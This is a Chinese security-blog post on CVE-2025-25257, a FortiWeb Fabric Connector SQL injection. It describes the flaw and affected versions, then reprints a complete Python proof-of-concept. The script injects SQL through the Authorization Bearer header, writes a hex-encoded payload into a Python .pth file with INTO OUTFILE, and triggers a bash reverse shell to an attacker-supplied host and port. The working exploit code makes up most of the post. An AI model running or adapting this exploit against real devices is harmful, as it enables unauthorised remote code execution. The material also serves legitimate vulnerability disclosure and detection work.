CVE-2025-25257|Fortinet FortiWeb SQL注入漏洞(POC)

原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486091&idx=1&sn=556ca88745998628df79a141223c15f3

CVE-2025-25257|Fortinet FortiWeb SQL注入漏洞(POC)

alicy 信安百科 2025-07-19 09:53

0x00 前言

FortiWeb是Fortinet公司推出的企业级Web应用防火墙(WAF),专为保护Web应用和API抵御高级威胁设计。它集成人工智能与机器学习技术,通过双层检测引擎(HMM模型与SVM向量机)精准识别异常流量,可防御OWASP Top 10攻击、SQL 注入、XSS、DDoS及恶意机器人
。其核心功能包括API自动化保护、虚拟补丁集成(兼容Acunetix等第三方扫描工具)及智能流量分析,支持HTTP/2、WebSocket等现代协议

0x01 漏洞描述

漏洞源于Fortinet FortiWeb Fabric Connector组件在认证处理中没有严格校验输入参数,攻击者可在Authorization: Bearer头中注入恶意SQL语句,实现远程代码执行获取服务器权限。

当恶意查询包含文件写入操作(如 INTO OUTFILE)时,利用MySQL服务以root权限运行的特权,向Python的site-packages目录写入恶意 .pth文件。当FortiWeb执行特定的Python CGI脚本时,会自动加载该文件并执行其中代码,最终实现任意系统命令执行。

0x02 CVE编号

CVE-2025-25257

0x03 影响版本


FortiWeb 7.6.0 - 7.6.3
FortiWeb 7.4.0 - 7.4.7  
FortiWeb 7.2.0 - 7.2.10
FortiWeb 7.0.0 - 7.0.10

0x04 漏洞详情

POC:

https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import binascii
import random
from time import sleep
banner = """             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
                  \\/          \\/     \\/                            


        watchTowr-vs-FortiWeb-CVE-2025-25257.py


        (*) FortiWeb Unauthenticated SQLi to Remote Code Execution Detection Artifact Generator


          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)


        CVEs: [CVE-2025-25257]
&#34;&#34;&#34;
print(banner)


parser = argparse.ArgumentParser(description='Detection Artifact Generator for CVE-2025-25257')
parser.add_argument('--target', required=True, help='Target URL')
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', required=True)
args = parser.parse_args()


args.command = f&#34;&#34;&#34;import os; os.system('bash -c &#34;/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1&#34;')&#34;&#34;&#34;
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False 


def build_token_updates(encoded_hex: str, chunk_size: int = 10):
    if chunk_size % 2 != 0:
        print(&#34;[!] chunk size must be even bro&#34;)
        exit(1)


    chunks = [encoded_hex[i : i + chunk_size]
              for i in range(0, len(encoded_hex), chunk_size)]


    for idx, piece in enumerate(chunks):
        if idx == 0:
            sql = (
                f&#34;SET/**/token=UNHEX('{piece}')&#34;
            )
        else:
            sql = (
                f&#34;SET/**/token=CONCAT(token,UNHEX('{piece}'))&#34;
            )


        payload = (
            f&#34;Bearer '/**/;UPDATE/**/fabric_user.user_table/**/&#34;
            f&#34;{sql};SELECT/**/'1'&#34;
        )
        s.headers.update({'Authorization': payload})
        s.get(f&#34;{args.target}/api/fabric/device/status&#34;)
        print(f&#34;[*] sprayed chunk #{idx+1}/{len(chunks)}:\t{piece!r}&#34;)
        sleep(1)


encoded_command = binascii.hexlify(args.command.encode()).decode()
build_token_updates(encoded_command)


s.headers.update({
    'Authorization': f&#34;Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth&#34;
})


s.get(f&#34;{args.target}/api/fabric/device/status&#34;)


print(&#34;\n[*] Pop thy shell!&#34;)
s.headers.pop('Authorization', None)
s.head(f&#34;{args.target}/cgi-bin/ml-draw.py&#34;)

0x05 参考链接

https://fortiguard.fortinet.com/psirt/FG-IR-25-151

推荐阅读:

CVE-2025-32756|Fortinet多款产品存在远程代码执行漏洞(POC)

CVE-2024-47575|Fortinet FortiManager身份验证不当漏洞

CVE-2023-48788|Fortinet FortiClientEMS SQL注入漏洞

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
CVE-2025-25257|Fortinet FortiWeb SQL注入漏洞(POC)

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

CVE-2025-25257|Fortinet FortiWeb SQL注入漏洞(POC)